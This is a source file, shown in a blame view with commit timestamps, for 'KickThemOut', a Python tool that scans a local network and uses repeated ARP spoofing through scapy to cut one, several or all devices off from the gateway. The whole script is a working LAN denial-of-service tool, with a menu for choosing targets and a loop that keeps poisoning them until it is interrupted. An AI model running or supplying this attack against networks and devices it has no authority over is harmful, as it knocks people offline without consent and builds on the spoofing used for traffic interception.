kickthemout/kickthemout.py

295 lines
11 KiB
Python
Raw Normal View History

2016-12-07 16:05:14 +01:00
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# kickthemout.py
2016-12-31 01:41:34 +01:00
# authors: k4m4 & xdavidhu
2016-12-07 16:05:14 +01:00
"""
2016-12-31 01:41:34 +01:00
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
2016-12-07 17:25:17 +01:00
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
2016-12-07 16:05:14 +01:00
"""
2016-12-31 01:41:34 +01:00
import time, os, sys, logging, math
import scan, spoof
2016-12-07 16:05:14 +01:00
from time import sleep
2017-01-01 15:25:46 +01:00
import urllib2 as urllib
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy!
2016-12-31 01:41:34 +01:00
from scapy.all import *
2016-12-07 16:05:14 +01:00
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
def heading():
2016-12-31 01:41:34 +01:00
sys.stdout.write(GREEN + """
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
""" + END + BLUE +
2017-01-02 10:47:49 +01:00
'\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
YELLOW, RED, YELLOW, BLUE).center(111) +
'\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))
2017-01-01 15:25:46 +01:00
2016-12-07 16:05:14 +01:00
def optionBanner():
print('\nChoose option from menu:\n')
2017-01-01 17:06:15 +01:00
sleep(0.2)
2016-12-07 16:05:14 +01:00
print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
2017-01-01 15:25:46 +01:00
def regenOnlineIPs():
global onlineIPs
global defaultGatewayMac
onlineIPs = []
for host in hostsList:
onlineIPs.append(host[0])
if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1]
2017-01-02 10:47:49 +01:00
def scanNetwork():
global hostsList
hostsList = scan.scanNetwork()
regenOnlineIPs()
def kickoneoff():
2016-12-31 01:41:34 +01:00
os.system("clear||cls")
print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
2017-01-01 15:25:46 +01:00
print("Online IPs: ")
2016-12-31 01:41:34 +01:00
for i in range(len(onlineIPs)):
2017-01-01 15:25:46 +01:00
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
2017-01-01 21:17:05 +01:00
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)
2017-01-01 15:25:46 +01:00
canBreak = False
while not canBreak:
try:
choice = int(raw_input("\nChoose a target: "))
2017-01-02 22:30:26 +01:00
one_target_ip = onlineIPs[choice]
2017-01-01 15:25:46 +01:00
canBreak = True
except KeyboardInterrupt:
return
except:
2017-01-02 23:45:30 +01:00
print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)
2016-12-31 01:41:34 +01:00
one_target_mac = ""
for host in hostsList:
if host[0] == one_target_ip:
one_target_mac = host[1]
if one_target_mac == "":
print("\nIP address is not up. Please try again.")
2017-01-02 10:47:49 +01:00
return
2016-12-31 01:41:34 +01:00
2017-01-02 10:47:49 +01:00
print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)
2017-01-01 21:19:42 +01:00
print("\n{0}Spoofing started... {1}").format(GREEN, END)
2016-12-31 01:41:34 +01:00
try:
while True:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
2017-01-02 23:30:16 +01:00
time.sleep(10)
2016-12-31 01:41:34 +01:00
except KeyboardInterrupt:
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10:
2016-12-31 01:41:34 +01:00
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac)
2017-01-02 10:47:49 +01:00
reArp += 1
2016-12-31 01:41:34 +01:00
time.sleep(0.5)
2017-01-01 21:25:29 +01:00
print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
2016-12-07 16:05:14 +01:00
def kicksomeoff():
2017-01-01 17:06:15 +01:00
os.system("clear||cls")
print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
2017-01-02 23:45:30 +01:00
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)
2017-01-01 17:06:15 +01:00
canBreak = False
while not canBreak:
try:
2017-01-01 20:19:50 +01:00
choice = raw_input("\nChoose devices to target(comma-separated): ")
2017-01-02 22:38:51 +01:00
if ',' in choice:
some_targets = choice.split(",")
canBreak = True
else:
2017-01-02 23:45:30 +01:00
print("\n{0}ERROR: Please select more than 1 devices from the list.{2}\n").format(RED, END)
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt:
return
some_ipList = ""
for i in some_targets:
try:
2017-01-01 20:19:50 +01:00
some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt:
return
except:
print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
return
some_ipList = some_ipList[:-2] + END
print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)
2017-01-02 23:56:47 +01:00
print("\n{0}Spoofing started... {1}").format(GREEN, END)
2017-01-01 17:06:15 +01:00
try:
while True:
for i in some_targets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
2017-01-02 23:30:16 +01:00
time.sleep(10)
2017-01-01 17:06:15 +01:00
except KeyboardInterrupt:
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10:
2017-01-01 17:06:15 +01:00
for i in some_targets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
2017-01-02 10:47:49 +01:00
reArp += 1
2017-01-01 17:06:15 +01:00
time.sleep(0.5)
2017-01-01 21:25:29 +01:00
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
2017-01-01 15:25:46 +01:00
2016-12-07 16:05:14 +01:00
def kickalloff():
2017-01-01 15:25:46 +01:00
os.system("clear||cls")
print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
2017-01-01 21:04:11 +01:00
print(str(" {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))
2017-01-01 15:25:46 +01:00
2017-01-02 23:56:47 +01:00
print("\n{0}Spoofing started... {1}").format(GREEN, END)
2017-01-01 15:25:46 +01:00
try:
reScan = 0
while True:
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
2017-01-02 10:47:49 +01:00
reScan += 1
2017-01-01 15:25:46 +01:00
if reScan == 4:
reScan = 0
scanNetwork()
2017-01-02 23:30:16 +01:00
time.sleep(10)
2017-01-01 15:25:46 +01:00
except KeyboardInterrupt:
2017-01-01 17:06:15 +01:00
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
2017-01-02 10:47:49 +01:00
reArp = 1
while reArp != 10:
2017-01-01 15:25:46 +01:00
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
2017-01-02 10:47:49 +01:00
reArp += 1
2017-01-01 15:25:46 +01:00
time.sleep(0.5)
2017-01-01 21:25:29 +01:00
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
2017-01-01 15:25:46 +01:00
2016-12-31 01:41:34 +01:00
def getDefaultInterface():
def long2net(arg):
if (arg <= 0 or arg >= 0xFFFFFFFF):
raise ValueError("illegal netmask value", hex(arg))
return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
def to_CIDR_notation(bytes_network, bytes_netmask):
network = scapy.utils.ltoa(bytes_network)
netmask = long2net(bytes_netmask)
net = "%s/%s" % (network, netmask)
if netmask < 16:
return None
return net
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
continue
if net:
return interface
def getGatewayIP():
getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
return getGateway_p.src
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
def resolveMac(mac):
try:
url = "http://macvendors.co/api/vendorname/"
request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
response = urllib.urlopen(request)
vendor = response.read()
vendor = vendor.decode("utf-8")
vendor = vendor[:25]
return vendor
except:
2017-01-01 21:04:11 +01:00
return "N/A"
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
def main():
2017-01-01 17:06:15 +01:00
2016-12-07 16:05:14 +01:00
heading()
2017-01-01 15:25:46 +01:00
print(
"\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
2017-01-02 23:53:45 +01:00
+ defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN,
2017-01-01 20:19:50 +01:00
RED, GREEN, RED, GREEN, END)
2017-01-02 10:47:49 +01:00
2016-12-31 01:41:34 +01:00
try:
2016-12-07 16:05:14 +01:00
while True:
optionBanner()
2016-12-31 01:41:34 +01:00
header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END))
2016-12-07 16:05:14 +01:00
choice = raw_input(header)
if choice.upper() == 'E' or choice.upper() == 'EXIT':
2017-01-01 17:06:15 +01:00
print('\n{0}Thanks for dropping by.'
'\nCatch ya later!{1}').format(GREEN, END)
2016-12-07 16:05:14 +01:00
raise SystemExit
elif choice == '1':
kickoneoff()
elif choice == '2':
kicksomeoff()
elif choice == '3':
kickalloff()
elif choice.upper() == 'CLEAR':
os.system("clear||cls")
2017-01-02 23:39:49 +01:00
else:
2017-01-02 23:45:30 +01:00
print("\n{0}ERROR: Please select a valid option.{2}\n").format(RED, END)
2016-12-07 16:05:14 +01:00
except KeyboardInterrupt:
2017-01-01 17:06:15 +01:00
print('\n\n{0}Thanks for dropping by.'
'\nCatch ya later!{1}').format(GREEN, END)
2016-12-07 16:05:14 +01:00
2017-01-01 15:25:46 +01:00
2016-12-07 16:05:14 +01:00
if __name__ == '__main__':
2016-12-31 01:41:34 +01:00
defaultInterface = getDefaultInterface()
defaultGatewayIP = getGatewayIP()
defaultInterfaceMac = get_if_hwaddr(defaultInterface)
scanNetwork()
2017-01-01 15:25:46 +01:00
2017-01-01 21:04:11 +01:00
main()